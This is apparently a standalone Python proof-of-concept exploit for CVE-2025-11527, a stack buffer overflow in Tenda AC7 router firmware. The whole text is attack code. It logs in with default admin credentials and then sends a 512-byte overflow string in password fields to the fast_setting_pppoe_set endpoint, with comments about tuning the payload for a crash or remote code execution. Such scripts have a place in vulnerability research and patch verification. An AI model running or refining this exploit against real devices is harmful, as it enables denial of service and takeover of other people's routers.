CVE-2025-11527

#!/usr/bin/env python3 # CVE-2025-11527 - Tenda AC7 fast_setting_pppoe_set Stack Buffer Overflow PoC # Vulnerability: Stack-based buffer overflow via Password parameter # Affected: Tenda AC7 firmware 15.03.06.44 # Endpoint: /goform/fast_setting_pppoe_set import requests import sys from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) TARGET_URL = "http://192.168.0.1" # Default Tenda router IP USERNAME = "admin" PASSWORD = "admin" # Router admin credentials def login(session, base_url): """Login to the Tenda router web interface""" login_url = f"{base_url}/login/Auth" data = { "username": USERNAME, "password": PASSWORD } resp = session.post(login_url, data=data, verify=False) return resp.status_code == 200 def exploit(session, base_url): """Trigger stack buffer overflow via Password parameter""" exploit_url = f"{base_url}/goform/fast_setting_pppoe_set" # Craft oversized Password parameter to overflow stack buffer # Adjust payload length based on buffer size (typically 64-256 bytes overflow needed) overflow_payload = "A" * 512 # Adjust size as needed for reliable crash/RCE payload = { "loginPassword": overflow_payload, "PPPOEPassword": overflow_payload, "Password": overflow_payload, # Target vulnerable parameter } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } print(f"[*] Sending exploit payload to {exploit_url}") resp = session.post(exploit_url, data=payload, headers=headers, verify=False) print(f"[*] Response status: {resp.status_code}") print(f"[*] Response body: {resp.text[:200]}") return resp def main(): target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL session = requests.Session() print(f"[*] Target: {target}") print("[*] Attempting login...") if login(session, target): print("[+] Login successful") print("[*] Triggering buffer overflow...") exploit(session, target) print("[+] Exploit completed. Check device status.") else: print("[-] Login failed. Ensure credentials are correct.") if __name__ == "__main__": main()

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